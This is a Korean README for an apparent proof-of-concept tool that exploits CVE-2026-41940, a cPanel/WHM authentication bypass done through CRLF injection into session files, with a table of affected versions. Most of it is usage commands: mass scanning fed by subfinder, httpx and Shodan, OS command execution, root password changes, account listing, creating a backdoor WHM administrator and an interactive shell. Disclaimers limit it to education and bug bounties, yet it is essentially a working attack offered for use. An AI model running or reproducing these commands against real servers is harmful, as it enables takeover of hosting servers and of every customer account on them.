CVE-2026-41940(cPanel/WHM 인증 우회)을 악용하여 root WHM 접근 권한을 획득하고, 포스트 익스플로잇 명령 실행, 계정 목록 조회, 대화형 셸 세션을 수행합니다.
⚠ 이 도구는 교육 또는 버그 바운티 목적으로만 제작되었습니다. 통제된 환경 외부에서의 무단 사용은 엄격히 금지됩니다.
CVE-2026-41940을 악용하기 위한 도구로, cPanel & WHM의 치명적인 인증 우회 취약점(CVSS 10.0)입니다. 인증되지 않은 공격자가 Authorization 헤더를 통해 서버 측 세션 파일에 CRLF 시퀀스를 주입하여 루트 수준의 WHM 접근 권한을 획득할 수 있으며, 자격 증명이 필요하지 않습니다.
CVE-2026-41940은 일반적으로 cPanel/WHM에서 인증 세션을 처리하는 방식의 결함을 통해 악용됩니다. 공격은 일반적으로 로그인 인터페이스에 대한 정상적인 요청으로 시작되며, 애플리케이션이 사용자 자격 증명을 완전히 검증하기 전에 세션을 조기에 초기화합니다. 세션 관련 입력의 부적절한 처리로 인해 특정하게 조작되거나 예상치 못한 입력 구조가 서버에서 세션 데이터가 저장되거나 해석되는 방식을 변경할 수 있습니다.
| 버전 | 취약 | 패치됨 |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/ctdal/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
이 도구는 대상 도메인을 지정해야 합니다.
단일 대상 모드:
python cve.py -u https://target1.com:2083
target.txt 파일에서 스캔할 수도 있습니다(파일 생성 필요):
python cve.py -l target.txt -t 50 -o result.json
사용 가능한 명령어:
python cve.py -u https://victim1.com:2083 # 단일 대상 스캔
python cve.py info -u https://victim1.com:2083 # 시스템 정보(버전, 부하, 디스크 사용량)를 검색합니다.
python cve.py host -u https://victim1.com:2083 # 대상 서버의 호스트 이름을 검색합니다.
# 서버의 모든 계정 나열
python cve.py list -u https://target.com:2087
# OS 명령어
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# 서버 정보 가져오기 (호스트 이름, 디스크, MySQL 호스트)
python cve.py info -u https://target.com:2087
# 루트 비밀번호 변경
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# 대화형 WHM 셸
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# 범위 목록에서
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Shodan 결과
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# 여러 소스 결합
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
성공적으로 실행한 후 대화형 WHM 셸을 열 수 있습니다:
python cve.py shell -u
| 명령어 | 설명 |
|---|---|
id | 사용자 ID 표시 |
hostname | 서버 호스트 이름 가져오기 |
accounts | 모든 사용자 계정 나열 |
info | 부하, 디스크, MySQL 호스트, 버전 |
cat <path> | 파일 내용 읽기 |
exec <cmd> | OS 명령어 실행 |
newadmin <user> <pass> | 백도어 WHM 관리자 생성 |
passwd <pass> | 루트 비밀번호 변경 |
l [path] | 디렉터리 나열 |
help | 모든 명령어 표시 |
exit | 셸 모드 종료 |
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL Single target URL (e.g. https://host:2087)
-l, --list LIST File with URLs (one per line)
--hostname HOSTNAME Override canonical Host header (auto-discovered)
Scan:
-t, --threads N Concurrent threads (default: 10)
--timeout N Request timeout seconds (default: 15)
--rate-limit N Delay between targets (default: 0)
--force Skip cPanel detection check
Post-Exploit:
--action ACTION Action: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS New root password (--action passwd)
--cmd CMD OS command (--action cmd/exec)
--new-user USER New cPanel username (--action adduser)
--new-domain DOMAIN New cPanel domain (--action adduser)
Output:
-o, --output FILE Save results to JSON file
--no-color Disable ANSI colors
⚠ 이 도구는 교육 또는 버그 바운티 목적으로만 제작되었습니다. 통제된 환경 외부에서의 무단 사용은 엄격히 금지됩니다.